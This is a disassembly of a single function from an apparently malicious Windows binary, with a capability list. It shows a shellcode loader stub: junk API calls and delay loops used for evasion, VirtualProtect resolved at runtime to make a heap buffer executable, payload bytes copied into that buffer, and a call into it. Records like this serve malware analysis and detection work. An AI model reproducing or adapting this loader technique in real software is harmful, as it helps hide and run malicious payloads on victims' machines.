Function at 0x40120c
Capabilities:
Allocate or change rwx memory
Enumerate gui resources
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get disk size
Initialize winhttp library
Read file on windows
Set environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x814
push ebx
push esi
push edi
xor esi, esi
xor edi, edi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
cmp edi, 0x207142
jg 0x401233
inc edi
cmp edi, 0x67d12
jl 0x40121c
cmp dword [0x2447ef4], 0x93
jne 0x40130c
push esi
call dword [sym.imp.KERNEL32.dll_AddAtomW]
push esi
push esi
push esi
push esi
call dword [sym.imp.GDI32.dll_CreateDCA]
xor eax, eax
lock bts dword [eax], 0
push esi
push esi
call dword [sym.imp.KERNEL32.dll_HeapCompact]
push esi
push esi
push esi
push str.Teduroxeyor_natuvamoboram
push str.Hicurufupelimo_rohatozuma_nufirowoxec_pibiv
push str.Miketay_zilaxehafusaj_xotixiniza_dibenun
call dword [sym.imp.KERNEL32.dll_ReplaceFileA]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumResourceTypesA]
push dword [ebp - 8]
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.MSIMG32.dll_AlphaBlend]
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.WINHTTP.dll_WinHttpOpen]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_IsProcessInJob]
push esi
lea eax, [ebp - 0x814]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_VerLanguageNameW]
push str.dekuzaxuhoxiribifohoruxinas
push str.hosigutovujex_lolocahedunebutab__f
push 0x435800
call fcn.00401643
push esi
push esi
push esi
push esi
call fcn.00401c01
push esi
push esi
call fcn.0040197c
add esp, 0x24
lea eax, [ebp - 4]
push eax
lea ecx, [ebp - 0x14]
mov dword [ebp - 4], str.bad_exception
call fcn.004016c8
lea ecx, [ebp - 0x14]
mov dword [ebp - 0x14], vtable.std::bad_exception.0
call fcn.004016ef
push esi
push esi
call fcn.00401971
pop ecx
pop ecx
mov eax, dword [0x42a83c]
add dword [0x2447ef4], 0x1134b
push str.kernel32.dll
mov dword [0x2448d30], eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push str.VirtualProtect
push eax
mov dword [0x2447984], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push dword [0x2447ef4]
mov dword [0x2447978], eax
push esi
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
lea ecx, [ebp - 8]
push ecx
push 0x40
push dword [0x2447ef4]
mov dword [0x2447980], eax
push eax
call dword [0x2447978]
xor edi, edi
cmp edi, 0xacc
jge 0x401398
push esi
push esi
call dword [sym.imp.USER32.dll_SetCaretPos]
push esi
lea eax, [ebp - 4]
push eax
push esi
push esi
push esi
call dword [sym.imp.GDI32.dll_GetCharABCWidthsI]
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.GDI32.dll_GetCharWidthI]
push esi
call dword [sym.imp.USER32.dll_GetSysColorBrush]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
cmp edi, 0x45be411
jg 0x4013b2
inc edi
cmp edi, 0x3330601
jl 0x401368
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, 0x1692e
push esi
lea eax, [ebp - 0x414]
push eax
call dword [sym.imp.USER32.dll_CharUpperBuffA]
call dword [sym.imp.USER32.dll_GetMessageExtraInfo]
call ebx
dec edi
jne 0x4013bd
cmp dword [0x2447ef4], esi
jbe 0x401434
mov eax, dword [0x2448d30]
mov al, byte [eax + edi + 0x1134b]
mov ecx, dword [0x2447980]
mov byte [ecx + edi], al
cmp dword [0x2447ef4], 0x490
jne 0x40142b
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
call dword [sym.imp.KERNEL32.dll_GetConsoleCP]
push esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea eax, [ebp - 4]
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_PeekConsoleInputA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetConsoleCtrlHandler]
inc edi
cmp edi, dword [0x2447ef4]
jb 0x4013de
xor edi, edi
mov eax, dword [0x2447ef4]
add eax, edi
cmp eax, 0x8d
jne 0x401463
push esi
push esi
call dword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
push esi
call dword [sym.imp.USER32.dll_GetMenu]
push str.pelapawagetidayiwexuwin
push str.havayekubipacacujoxifupozeko
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
inc edi
cmp edi, 0x38681
jl 0x401436
call fcn.0040114e
xor edi, edi
call ebx
cmp edi, 0x61
jne 0x40148d
mov dword [ebp - 4], esi
add dword [ebp - 4], 0
mov eax, dword [ebp - 4]
add dword [0x2447980], eax
inc edi
cmp edi, 0x674bd
jl 0x401473
push 0x7b
pop edi
cmp dword [0x2447ef4], 0x86
jne 0x4014d6
push esi
push esi
push esi
push esi
push esi
push esi
push str.Wuhusewixig_finabizetela_xalas_womamonumune_naviganev
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_HeapWalk]
push esi
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetFileTime]
push esi
call dword [sym.imp.KERNEL32.dll_IsBadCodePtr]
dec edi
jne 0x401499
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call dword [0x2447980]
pop edi
pop esi
pop ebx
leave
ret